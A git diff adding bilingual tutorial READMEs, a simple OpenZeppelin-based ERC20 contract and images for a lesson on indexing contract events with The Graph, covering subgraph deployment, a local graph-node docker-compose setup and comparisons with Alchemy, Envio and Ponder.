+   输出信息类似如下:
+
+   ```bash
+   Deploying contracts with the account: xxxxxxxxxxxxxx
+   Account balance: 10000000000000000000000
+   Token address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
+   Transfer 50 to receiver  0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
+   Account balance of receiver is:  50
+   ```
+
+4. TheGraph 创建一个 Subgraph 空间
+
+   因为需要借助 TheGraph 的节点来完成数据的索引，因此我们需要在 [TheGraph Studio](https://thegraph.com/studio/) 上创建一个 Subgraph。
+
+   如果没有 The Graph 的账户，可以直接连接钱包注册，账户名即为钱包地址，以下称之为 `<THEGRAPH_USERNAME>`。
+
+   批准钱包签名之后，会跳转到 `My Subgraphs` 面板，点击 `Create a Subgraph` 按钮。
+   <center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/08-hardhat-graph/create_subgraph_btn.png?raw=true" /></center>
+
+   输入你的项目名称(例如 TEST01)，以下称之为 `<SUBGRAPH_NAME>`，点击 continue 按钮，之后会跳转到 subgraph 的项目主页
+
+
+5. 开发和部署 subgraph
+
+  参考 [subgraphs-quick-start](https://thegraph.com/docs/en/subgraphs/quick-start/) 初始化、部署 subgraph 项目。
+  其中需要注意的是，在 Initial Subgraph 项目的时候，需要选择真实的区块链网络 ( 如 Optimism )，并输入真实的 Contract address
+
+
+## 检验 subgraph 是否部署成功
+
+从 subgraphs 面板进入你的 subgraph 项目主页， 查看索引进度，当进度 100%可以开始调用。
+
+这里已经预生成了一个示例请求，点击播放按钮即可请求数据。至此 subgraph 部署成功
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/08-hardhat-graph/query_subgraph.png?raw=true" /></center>
+
+## Graph Node 本地搭建
+
+1. 搭建 graph-node
+   出于便捷的考虑，我们使用官方提供的 docker compose 来进行节点、数据库、IPFS 的部署。
+
+- 克隆 graph node( https://github.com/graphprotocol/graph-node/ )代码
+- 进入 docker 目录
+- 将 docker-compose.yml 中 ethereum 字段的值改为需要连接链的节点连接信息。
+
+注意：如果是最新的 mac（big sur 系统）,在安装 docker 的时候，不能使用 brew cask install docker 命令，具体原因参考链接：https://www.jianshu.com/p/50037be9c00d
+
+```yaml
+graph-node:
+  image: graphprotocol/graph-node
+  ports:
+    - '8000:8000'
+    - '8001:8001'
+    - '8020:8020'
+    - '8030:8030'
+    - '8040:8040'
+  depends_on:
+    - ipfs
+    - postgres
+  environment:
+    postgres_host: postgres
+    postgres_user: graph-node
+    postgres_pass: let-me-in
+    postgres_db: graph-node
+    ipfs: 'ipfs:5001'
+    ethereum: 'mainnet:http://127.0.0.1:8545' #此处的mainnet需要和subgraph.yml里network对应上
+    # ethereum: 'dev:https://sepolia.infura.io/v3/INFURA_ID' # 也可以连测试网络
+    RUST_LOG: info
+```
+
+> 注意 1: graph-node 连接的节点需要开启 archive 模式（启动节点时，添加 flag --syncmode full --gcmode archive）。
+> 注意 2: 当需要在一个机器中启动多个 graph-node, 并且每个 graph-node 连接到不同的链时，只需要在 docker-compose.yml 添加对应的 graph-node service 即可。如下，配置里 sepolia 和 optimism 的 graph node 服务，同时修改 graph-node-optimism 对外暴露的端口为 8100，8101，8120，8130，8140。修改的时候特别需要注意的是，只能修改暴露的本地端口 (8100/8101/8120/8130/8140), 容器内部的端口 (8000/8001/8020/8030/8040) 千万不要修改，不然会启动报错
+
+```yaml
+version: '3'
+services:
+  graph-node-sepolia:
+    image: graphprotocol/graph-node
+    ports:
+      - '8000:8000'
+      - '8001:8001'
+      - '8020:8020'
+      - '8030:8030'
+      - '8040:8040'
+    depends_on:
+      - ipfs
+      - postgres
+    extra_hosts:
+      - host.docker.internal:host-gateway
+    environment:
+      postgres_host: postgres
+      postgres_user: graph-node
+      postgres_pass: let-me-in
+      postgres_db: graph-node
+      ipfs: 'ipfs:5001'
+      ethereum: 'sepolia:http://infura.sepolia.com/xxxx'
+      GRAPH_LOG: info
+  graph-node-optimism:
+    image: graphprotocol/graph-node
+    ports:
+      - '8100:8000'
+      - '8101:8001'
+      - '8120:8020'
+      - '8130:8030'
+      - '8140:8040'
+    depends_on:
+      - ipfs
+      - postgres
+    extra_hosts:
+      - host.docker.internal:host-gateway
+    environment:
+      postgres_host: postgres
+      postgres_user: graph-node
+      postgres_pass: let-me-in
+      postgres_db: graph-node
+      ipfs: 'ipfs:5001'
+      ethereum: 'optimism:http://infura.optimism.com/yyy'
+      GRAPH_LOG: info
+  ipfs:
+    image: ipfs/kubo:v0.17.0
+    ports:
+      - '5001:5001'
+    volumes:
+      - ./data/ipfs:/data/ipfs:Z
+```
+
+2. graph-node 启动
+
+直接使用 docker compose 来进行启动
+
+```bash
+docker-compose -f docker-compose.yml up -d
+```
+
+3. 编译 subgraph  
+   进入 subgraph 的本地目录运行下列命令
+
+   由于在前一步骤执行过命令 npx hardhat run ./scripts/deploy.js --network sepolia
+
+   因此，此处修改 subgraph.yaml，修改内容如下：
+
+```bash
+dataSources:
+  - kind: ethereum/contract
+    name: SimpleToken
+    network: sepolia
+
+```
+
+```bash
+graph codegen --output-dir src/types/
+graph build
+```
+
+4. 部署 subgraph
+
+```bash
+graph create davekaj/SimpleToken --node http://127.0.0.1:8020
+
+graph deploy davekaj/SimpleToken --debug --ipfs http://localhost:5001 --node http://127.0.0.1:8020
+```
+
+5. 可以使用 GraphQL 来进行查询数据。
+
+## subgraph
+
+subgraph 定义了你希望通过 GraphQL API 提供的数据、数据源和数据访问模式。开发者可以选择直接使用别人已经部署[17]的 subgraph，或者自己定义并部署 subgraph。
+
+1. GraphQL Schema  
+   GraphQL Schema 定义了你想保存和查询的数据类型/实体。也可定义如关系或全文搜索的配置项。
+2. subgraph 清单（ yaml 配置）  
+   manifest 定义了 subgraph 索引的智能合约、合约的 ABI、关注这些合约的事件，以及如何将事件数据映射到 Graph 节点存储并允许查询。
+3. AssemblyScript 映射  
+   AssemblyScript 映射允许您使用 schema 中定义的实体类型保存要索引的数据。Graph CLI 还使用 schema 与智能合约的 ABI 的组合生成 AssemblyScript 类型。
+4. 通过@derivedFrom 建立关系  
+   通过@derivedFrom 字段在实体上定义反向查询，这样就在实体上创建了一个虚拟字段，使它可以被查询，但不能通过映射 API 手动设置。实际上，这是从另一个实体上定义的关系中衍生出来的。这样的关系，对存储关系的两者意义不大，如果只存储一方而派生另一方，则索引和查询性能都会更好。
+
+## Thegraph 的同类产品  
+除了 Thegraph, 还有其他同类的产品，以便我们可以根据产品特点，费用等选择最优的产品。  
+
+### Alchemy  
+Alchemy 也提供了 Subgraph 功能，用户可以轻松的从 Thegraph 上把 Subgraph 迁移到 Alchemy 上来。 
+
+- 部署  
+部署流程和 thegraph 流程一样，编写完 ts 代码后进行 codegen、build，最后deploy 的时候需要输入 deploy-key 这个参数，这个 key 需要在 Dashboard 界面获取
+
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-08/Alchemy_Subgraph.jpg?raw=true" /></center>
+
+参考: https://docs.alchemy.com/reference/subgraphs-quickstart   
+
+
+2. Alchemy Subgraph Pricing  
+默认情况下，使用的是 Free Plan， 对于开发者自己使用是足够的，当用于项目时，需要升级 Plan，解锁更都的查询次数  
+
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-08/Alchemy_Pricing.jpg?raw=true" /></center>        
+
+
+3. Thegraph Pricing    
+Growth Plan 一个月 $49, 有 100,0000 的查询次数，平均 $0.000049/次，而 thegraph 查询 100,0000 次，需要约 186 GRT,  GRT 按照 $0.2 计算的话，thegraph 平均 $0.000037/次  
+
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-08/Thegraph_Pricing.jpg?raw=true" /></center>
+
+参考：https://www.alchemy.com/pricing
+
+
+### Envio  
+1. 本地构建  
+使用 `envio init` 初始化项目目录，然后使用 `envio dev` 启动本地 Indexer。
+envio 本地 indexer 启动很快，启动后便可通过 [http://localhost:8080/](http://localhost:8080/console) 进行访问  
+
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-08/envio_start.jpg?raw=true" /></center>   
+
+2. 部署 Host Service   
+把使用 envio init 初始化后的项目上传到 github, 然后对授权这个 repo 的访问权限个 envio，那么提交 commit 后，envio 就会自动进行部署  
+
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-08/envio_init.jpg?raw=true" /></center>  
+
+3. 部署成功
+部署成功后，即可在 envio 的 Host Service 处查看访问   
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-08/envio_dashboard.jpg?raw=true" /></center>  
+
+参考：https://docs.envio.dev/docs/HyperIndex/hosted-service-deployment
+
+
+#### Envio 优势  
+- 本地构建速度很快  
+- Host Service 目前是免费使用  
+
+### Ponder  
+1. 本地构建  
+Ponder 也可以本地进行构建，但是他需要使用 Ethereum RPC 到节点去获取数据，类似 Alchemy 的 subgraph ，受限于 Ethereum RPC 节点的访问频率。官方网站推荐使用 Alchemy 的 RPC， 但根据上面介绍的，Alchemy 的 RPC 有访问限制  
+
+<center><img src="https://github.com/yingjingyang/Imgs-for-tasks-01/blob/main/basic-task/task-08/ponder_build.jpg?raw=true" /></center> 
+
+2. Host Service 构建  
+目前 ponder 只在 [Railway](https://railway.app/) 上进行了全面的测试兼容，对于其他的平台，没有进行完整的测试。
+
+参考：https://ponder.sh/docs/production/deploy   
+
+#### Ponder 不足  
+1. 本地构建的时候，在 .env.local 文件中需要输入 `PONDER_RPC_URL_1` 变量，用以拉取 Ethereum node 数据。这里使用 infura 或是 Alchemy 的 PRC_URL 都是有 limite_rate 限制的  
+2. 对于 Uniswap V2, V3 这类的 factory 合约，只支持监听 10,000 个子合约。同时当工厂合约发出事件创建子合约的时候，event 事件里面的数值类型不能是 array 或是 struct
+3. 开发 subgraph 的结构与语法不同与 thegraph, 对于已有 subgraph 进行迁移的话，需要重新进行适配  
+
+
+
+## 参考文档
+
+官方文档：
+
+- https://thegraph.com/docs/developer/quick-start  
+- https://edgeandnode.notion.site/The-Graph-Chinese-Links-803371459c6f402aba32a22467acda32#13589dfd8041445380731860c4b4e029  
+
+本项目参考文档：
+
+- https://mp.weixin.qq.com/s/DlC5jAS_CzXuOZFmmveNXA
+- https://mp.weixin.qq.com/s/LhdAREmhXSHxIaVfhcJQ_g
+- https://dev.to/dabit3/building-graphql-apis-on-ethereum-4poa
+- https://learnblockchain.cn/article/2566
+- https://blog.openzeppelin.com/subgraphs-announcement  
+  OpenZeppelin subgraphs 库: 为常用的 OpenZeppelin 合约建立 subgraphs
+- https://github.com/graphprotocol/agora  
+  成本模型
+- Subgraph 选择指南(分析节点成本，收益以及应该索引哪些 Subgraph):  
+  <https://wavefive.notion.site/The-Graph-Protocol-Indexer-Subgraph-Selection-Guide-725f6e575f6e4024ad7e50f2f4e9bbad>
+
+其他相关参考文档：
+
+- https://thegraph.com/
+- https://graphql.cn/learn/
+- https://gql-guide.vercel.app/
+- https://thegraph.com/docs/graphql-api  
+  GraphGen——命令行工具，用于快速生成子图，由一些有 GraphGen 命令注释的 Solidity 接口文件组成。
+- https://medium.com/protean-labs/introducing-graphgen-a-subgraph-generator-for-the-graph-network-836fe0385336
+
+- Matchstick ——是 Limechain 做一个开发的单元测试框架，一个 graph 模拟节点，用于在沙盒环境中测试子图部署的映射逻辑  
+  相关教程：https://limechain.tech/blog/matchstick-what-it-is-and-how-to-use-it/
diff --git a/basic/08-hardhat-graph/README.md b/basic/08-hardhat-graph/README.md
new file mode 100644
index 000000000..8a268e6a3
--- /dev/null
+++ b/basic/08-hardhat-graph/README.md
@@ -0,0 +1,309 @@
+[中文](./README-CN.md) / English
+
+## Introduction of Graph
+
+When coding smart contract, the change of status is usually expressed by triggering a event. The Graph is a GraphQL interface for capturing the chain events and provide a query event, it can track changes in data. Actually, many kinds of defi is based on The Graph to query data.
+
+## Overview of steps
+
+- deploy the contract on Goerli and call trigger event.
+- create Subgraph that defines the data index.
+- deploy Subgraph to TheGraph for data indexing
+- query and index data in DApp
+
+If you has a private chain, you can clone Graph node code https://github.com/graphprotocol/graph-node/ and finish data indexing by maintain your own Graph node.
+
+TheGraph defines that how to create data index, which is called Subgraph, including three components:
+
+- MainFest (subgraph.yaml) - define config
+- Schema mode(schema.graphq1) - define data, reference https://graphql.cn/learn/
+- Mapping (mapping.ts) - define the convertion between event and data
+
+## Steps
+
+1. Install related dependencies
+
+   ```bash
+   npm install
+
+   #node version v20.11.0
+   ```
+
+2. Configure the private key
+
+   You should add private key in `.env` that formatted with "PRIVATE_KEY=xxxx", which read from the code. You also need to set your infura node id, add private key in `.env` that formatted with "INFURA_ID=xxxx"
+
+3. Deploy contracts(testing graph's simple contracts)
+
+   ```bash
+   npx hardhat run ./scripts/deploy.js --network sepolia
+   ```
+
+   print info as follows:
+
+   ```bash
+   Deploying contracts with the account: xxxxxxxxxxxxxx
+   Account balance: 10000000000000000000000
+   Token address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
+   Transfer 50 to receiver  0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
+   Account balance of receiver is:  50
+   ```
+
+4. TheGraph create a space of Subgraph
+
+   We have to index data by the node of TheGraph, so we need to create a Subgraph on [TheGraph Studio](https://thegraph.com/studio/).
+   If lacking of a account of TheGraph, you can connect to wallet to register. The account name is address of wallet, the following is called `<THEGRAPH_USERNAME>`.
+
+   After approving the signature of wallet, it will jump to the "My Subgraphs" panel and click `Create a Subgraph` button.
+   <center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/08-hardhat-graph/create_subgraph_btn.png?raw=true" /></center>
+
+   Input your project name(e.x. TEST01), it will be called `<SUBGRAPH_NAME>` as follows. Clicking continue button, then it will jump to subgraph which is the main page of project.
+
+   Note: latest Graph CLI only support to deploy mainnet and goerli. If you want to use it on the others networks, you need to login by Github account, then create and deploy it on Hosted Service.
+
+5. Develop and deploy subgraph   
+   Refer to [subgraphs-quick-start](https://thegraph.com/docs/en/subgraphs/quick-start/) to initialize and deploy a subgraph project. It's important to note that when initializing the Subgraph project, you need to select a real blockchain network (such as Optimism) and input a real Contract address.  
+   
+## Check if subgraph deploy
+
+Enter your home page of subgraph from subgraph panel, check index progress, it could be called when the progress is finished.
+
+An sample request has been pre-produced here, click to button to request data. So far we have succeeded
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/08-hardhat-graph/query_subgraph.png?raw=true" /></center>
+
+## Graph Node build locally
+
+1. Build graph-node
+   For convenience's sake, we use the docker compose provided by official to deploy node, database and IPFS.
+
+- clone graph node( https://github.com/graphprotocol/graph-node/ )
+- enter docker directory
+- change the value of ethereum filed in docker-compose.yml to the connection info which need connect to chain
+
+Note: if yours are latest mac (big sur system), do not use brew cask install docker when install docker, please refer to https://www.jianshu.com/p/50037be9c00d for details.
+
+```yaml
+graph-node:
+  image: graphprotocol/graph-node
+  ports:
+    - '8000:8000'
+    - '8001:8001'
+    - '8020:8020'
+    - '8030:8030'
+    - '8040:8040'
+  depends_on:
+    - ipfs
+    - postgres
+  environment:
+    postgres_host: postgres
+    postgres_user: graph-node
+    postgres_pass: let-me-in
+    postgres_db: graph-node
+    ipfs: 'ipfs:5001'
+    ethereum: 'mainnet:http://127.0.0.1:8545' # the mainnet need to follow to the network of subgraph.yml
+    # ethereum: 'dev:https://goerli.infura.io/v3/INFURA_ID' # could connect to test networks
+    RUST_LOG: info
+```
+
+> Note 1: the node in graph-node need start archive mode(when start the node, add flag --syncmode full --gcmode archive). 2. graph-node startup
+> Note 1: When you need to start multiple graph-nodes in one machine, and each graph-node is connected to a different chain, you only need to add the corresponding graph-node service in docker-compose. Configure the sepolia and optimism graph node services as follows, and change the ports exposed to graph-node-optimism to 8100,8101,8120,8130,8140. Note that you can only modify the exposed local port (8100/8101/8120/8130/8140). Do not modify the port (8000/8001/8020/8030/8040) in the container. Otherwise, an error will be reported.
+
+```yaml
+version: '3'
+services:
+  graph-node-sepolia:
+    image: graphprotocol/graph-node
+    ports:
+      - '8000:8000'
+      - '8001:8001'
+      - '8020:8020'
+      - '8030:8030'
+      - '8040:8040'
+    depends_on:
+      - ipfs
+      - postgres
+    extra_hosts:
+      - host.docker.internal:host-gateway
+    environment:
+      postgres_host: postgres
+      postgres_user: graph-node
+      postgres_pass: let-me-in
+      postgres_db: graph-node
+      ipfs: 'ipfs:5001'
+      ethereum: 'sepolia:http://infura.sepolia.com/xxxx'
+      GRAPH_LOG: info
+  graph-node-optimism:
+    image: graphprotocol/graph-node
+    ports:
+      - '8100:8000'
+      - '8101:8001'
+      - '8120:8020'
+      - '8130:8030'
+      - '8140:8040'
+    depends_on:
+      - ipfs
+      - postgres
+    extra_hosts:
+      - host.docker.internal:host-gateway
+    environment:
+      postgres_host: postgres
+      postgres_user: graph-node
+      postgres_pass: let-me-in
+      postgres_db: graph-node
+      ipfs: 'ipfs:5001'
+      ethereum: 'optimism:http://infura.optimism.com/yyy'
+      GRAPH_LOG: info
+  ipfs:
+    image: ipfs/kubo:v0.17.0
+    ports:
+      - '5001:5001'
+    volumes:
+      - ./data/ipfs:/data/ipfs:Z
+```
+
+
+2. Startup with docker compose directly
+
+```bash
+docker-compose -f docker-compose.yml up -d
+```
+
+3. Compile subgraph
+
+   Enter the directory of subgraph to run the command
+
+   Because the command was executed in the previous step: `npx hardhat run ./scripts/deploy.js --network sepolia`
+
+   subgraph.yml need to be changed as follows:
+
+```bash
+dataSources:
+  - kind: ethereum/contract
+    name: SimpleToken
+    network: sepolia
+
+```
+
+```bash
+graph codegen --output-dir src/types/
+graph build
+```
+
+4. Deploy subgraph
+
+```bash
+graph create davekaj/SimpleToken --node http://127.0.0.1:8020
+
+graph deploy davekaj/SimpleToken --debug --ipfs http://localhost:5001 --node http://127.0.0.1:8020
+```
+
+5. Use GraphQL to query data。
+
+## subgraph
+
+subgraph provide the data, data sources and the mode of querying with GraphQL API. Developers can use the deployed subgraph by others[17], or they can customize it and deploy
+
+1. GraphQL Schema  
+   GraphQL Schema define the type or entities of data which you want to save and query. Or you can define the config about relationship or full-text search.
+2. subgraph manifest( yaml )
+   manifest define the smart contract indexed by subgraph, ABI of contracts, events that subscribe to these contracts, and how to map the event datas to the node of Graph to store and allowed to query.
+3. AssemblyScript mapping
+   AssemblyScripts mappings allows you to use the type of entities defined in schema to store indexed data. Graph CLI also uses the combination of schema and ABI of smart contract to generate the type of AssemblyScript
+4. establish relationship with @derivedFrom
+   Define reverse queries on entities with the @derivedfrom field to create a virtual field in entities which coule be queried. But you can not configure it manually by mapping API. Actually, it is grew from the relationship defined on another entity. The relation do not make sence to the relation of store, if you only store one and grow another, the performance of indexing and querying will be better.
+
+## Thegraph's equivalent  
+In addition to Thegraph, there are other similar products, so that we can choose the best products according to product characteristics, costs, etc.
+
+### Alchemy  
+Alchemy also provides Subgraph functionality, users can easily migrate Subgraph from Thegraph to Alchemy.
+
+- Deploy    
+The deployment process is the same as that of the thegraph host service. codegen and build are performed after the ts code is written. At last, you need to enter the deploy-key parameter when deploying is performed
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Imgs-for-tasks/blob/main/basic%20task/Alchemy_Subgraph.jpg?raw=true" /></center>
+
+Reference: https://docs.alchemy.com/reference/subgraphs-quickstart   
+
+
+2. Alchemy Subgraph Pricing  
+By default, Free Plan is used, which is sufficient for developers to use themselves, and when used for projects, Plan needs to be upgraded to unlock the number of queries  
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Imgs-for-tasks/blob/main/basic%20task/Alchemy_Pricing.jpg?raw=true" /></center>        
+
+
+3. Thegraph Pricing    
+The Growth Plan is $49 a month, with 1,000,000 query times, averaging $0.000049/ time, while thegraph queries 1,000,000 times, requiring about 186 GRT. If GRT is calculated according to $0.2, thegraph average $0.000037/ time  
+<center><img src="https://github.com/Dapp-Learning-DAO/Imgs-for-tasks/blob/main/basic%20task/Thegraph_Pricing.jpg?raw=true" /></center>
+
+Reference：https://www.alchemy.com/pricing
+
+
+### Envio  
+1. Build locally  
+Initialize the project directory with 'envio init' and then start the local Indexer with 'envio dev'. Envio local indexer start soon, start after can through [http://localhost:8080/] (http://localhost:8080/console) for a visit   
+<center><img src="https://github.com/Dapp-Learning-DAO/Imgs-for-tasks/blob/main/basic%20task/envio_start.jpg?raw=true" /></center>   
+
+
+2. Host Service Mode
+Upload the project initialized with envio init to github, then envio will assign access to the repo, and after committing, envio will automatically deploy    
+<center><img src="https://github.com/Dapp-Learning-DAO/Imgs-for-tasks/blob/main/basic%20task/envio_init.jpg?raw=true" /></center>  
+
+3. Deploy Successfully
+Once the deployment is successful, you can view the access in envio's Host Service    
+<center><img src="https://github.com/Dapp-Learning-DAO/Imgs-for-tasks/blob/main/basic%20task/envio_dashboard.jpg?raw=true" /></center>  
+
+Reference：https://docs.envio.dev/docs/HyperIndex/hosted-service-deployment
+
+
+#### Envio Advantages   
+- Local builds are fast  
+- The Host Service is currently free to use 
+
+### Ponder  
+1. Local build  
+Ponder can also be built locally, but he needs to use Ethereum RPC to get data to nodes, similar to Alchemy's subgraph, which is limited by the frequency of Ethereum RPC nodes. The official website recommends using Alchemy's RPC, but as described above, Alchemy's RPC has access restrictions  
+<center><img src="https://github.com/Dapp-Learning-DAO/Imgs-for-tasks/blob/main/basic%20task/ponder_build.jpg?raw=true" /></center> 
+
+2. Host Service construction 
+At present ponder has only been fully tested for compatibility on [Railway](https://railway.app/), and has not been fully tested on other platforms.
+
+Reference：https://ponder.sh/docs/production/deploy   
+
+#### Ponder Disadvantages  
+1. When building locally, the PONDER RPC URL 1 variable needs to be entered into the.env.local file to pull Ethereum node data. There is a limite rate limit for using infura or Alchemy's PRC URL 
+2. For factory contracts such as Uniswap V2 and V3, only 10,000 sub-contracts are supported. When a factory contract issues an event to create a subcontract, the numeric type in the event event cannot be array or struct 
+3. The structure and syntax of developing subgraph is different from thegraph, and it needs to be re-adapted if the existing subgraph is migrated   
+
+## Reference
+
+official documentation:
+
+- https://thegraph.com/docs/developer/quick-start
+
+reference document for this project:
+
+- https://mp.weixin.qq.com/s/DlC5jAS_CzXuOZFmmveNXA
+- https://mp.weixin.qq.com/s/LhdAREmhXSHxIaVfhcJQ_g
+- https://dev.to/dabit3/building-graphql-apis-on-ethereum-4poa
+- https://learnblockchain.cn/article/2566
+- https://blog.openzeppelin.com/subgraphs-announcement  
+  OpenZeppelin subgraphs libraray: set subgraphs for the usual contracts of OpenZeppelin
+- https://github.com/graphprotocol/agora  
+  cost model
+- Subgraph usage(Analyze node costs, benefits, and which subGraphs should be indexed):  
+  <https://wavefive.notion.site/The-Graph-Protocol-Indexer-Subgraph-Selection-Guide-725f6e575f6e4024ad7e50f2f4e9bbad>
+
+other reference documents:
+
+- https://thegraph.com/
+- https://graphql.cn/learn/
+- https://gql-guide.vercel.app/
+- https://thegraph.com/docs/graphql-api  
+  GraphGen——命令行工具，用于快速生成子图，由一些有 GraphGen 命令注释的 Solidity 接口文件组成。
+  GraphGen——the command tool, used to generate subgraph quickly, consisting of some Solidity interface files commented by Graphgen commands.
+- https://medium.com/protean-labs/introducing-graphgen-a-subgraph-generator-for-the-graph-network-836fe0385336
+
+- Matchstick —— a framework for unit testing by Limechain, a simulator node of graph, used to map logic deployed by subgraph in sandbox
+  reference: https://limechain.tech/blog/matchstick-what-it-is-and-how-to-use-it/
diff --git a/Example08-hardhat-graph/abis/SimpleToken.json b/basic/08-hardhat-graph/abis/SimpleToken.json
similarity index 100%
rename from Example08-hardhat-graph/abis/SimpleToken.json
rename to basic/08-hardhat-graph/abis/SimpleToken.json
diff --git a/Example08-hardhat-graph/bin/SimpleToken.bin b/basic/08-hardhat-graph/bin/SimpleToken.bin
similarity index 100%
rename from Example08-hardhat-graph/bin/SimpleToken.bin
rename to basic/08-hardhat-graph/bin/SimpleToken.bin
diff --git a/basic/08-hardhat-graph/contracts/SimpleToken.sol b/basic/08-hardhat-graph/contracts/SimpleToken.sol
new file mode 100644
index 000000000..2476f9739
--- /dev/null
+++ b/basic/08-hardhat-graph/contracts/SimpleToken.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";
+
+contract SimpleToken is ERC20PresetMinterPauser {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+
+    uint8 private _decimals;
+    uint256 public INITIAL_SUPPLY;
+
+    function decimals() public view override returns (uint8) {
+        return _decimals;
+    }
+
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals_,
+        uint256 initial_supply
+    ) ERC20PresetMinterPauser(name, symbol) {
+        _decimals = decimals_;
+        INITIAL_SUPPLY = initial_supply * (10**uint256(decimals_));
+        _mint(msg.sender, initial_supply * (10**uint256(decimals_)));
+    }
+}
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/create_api_key.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/create_api_key.png
new file mode 100644
index 000000000..7fd01264a
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/create_api_key.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/finish_billing_upgrade.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/finish_billing_upgrade.png
new file mode 100644
index 000000000..957298cb5
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/finish_billing_upgrade.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/free_plan.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/free_plan.png
new file mode 100644
index 000000000..068ea4e60
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/free_plan.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/get_query_url.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/get_query_url.png
new file mode 100644
index 000000000..c498c3981
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/get_query_url.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/myDashBoard.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/myDashBoard.png
new file mode 100644
index 000000000..db1124e10
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/myDashBoard.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/publish_and_signal.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/publish_and_signal.png
new file mode 100644
index 000000000..e6e957de8
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/publish_and_signal.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/published_network.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/published_network.png
new file mode 100644
index 000000000..bf466e808
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/published_network.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/query_graph_network.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/query_graph_network.png
new file mode 100644
index 000000000..11b7a9a2d
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/query_graph_network.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/signal_on_subgraph.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/signal_on_subgraph.png
new file mode 100644
index 000000000..15610ef6b
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/signal_on_subgraph.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/subgraph_on_explorer.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/subgraph_on_explorer.png
new file mode 100644
index 000000000..fe310f086
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/subgraph_on_explorer.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/upgrade_plan.png b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/upgrade_plan.png
new file mode 100644
index 000000000..54be0d35f
Binary files /dev/null and b/basic/08-hardhat-graph/graph-network-upgrade-process/imgs/upgrade_plan.png differ
diff --git a/basic/08-hardhat-graph/graph-network-upgrade-process/readme-CN.md b/basic/08-hardhat-graph/graph-network-upgrade-process/readme-CN.md
new file mode 100644
index 000000000..ec6ca171d
--- /dev/null
+++ b/basic/08-hardhat-graph/graph-network-upgrade-process/readme-CN.md
@@ -0,0 +1,63 @@
+中文 / [English](./readme.md)
+
+## Graph Network 介绍
+
+Graph 网络是一个去中心化的索引协议，用于组织区块链数据。 应用程序使用 GraphQL 查询称为子图的开放 API，以检索网络上的索引数据。 通过Graph，开发者可以建立完全在公共基础设施上运行的无服务器应用程序。   
+本章节介绍如果升级 Subgraph Studio 到 Graph Network。
+
+## 流程概述
+
+- 创建一个 Subgraph Studio, 具体创建流程可参考 [Dapp Learning Subgraph](https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/08-hardhat-graph)
+- 发布子图到 Graph Network
+- 创建 API key
+- 设置 Billing Plan
+
+## 操作步骤
+
+1. 创建一个 Subgraph Studio  
+具体可参考 [Dapp Learning Subgraph](https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/08-hardhat-graph) 教程，这里不再重复说明  
+
+2. 发布子图到 Graph Network   
+- 发布  
+在 “My Dashboard" 中找到新创建的子图，然后点击 "Publish" 
+![DashBoard](./imgs/myDashBoard.png)   
+
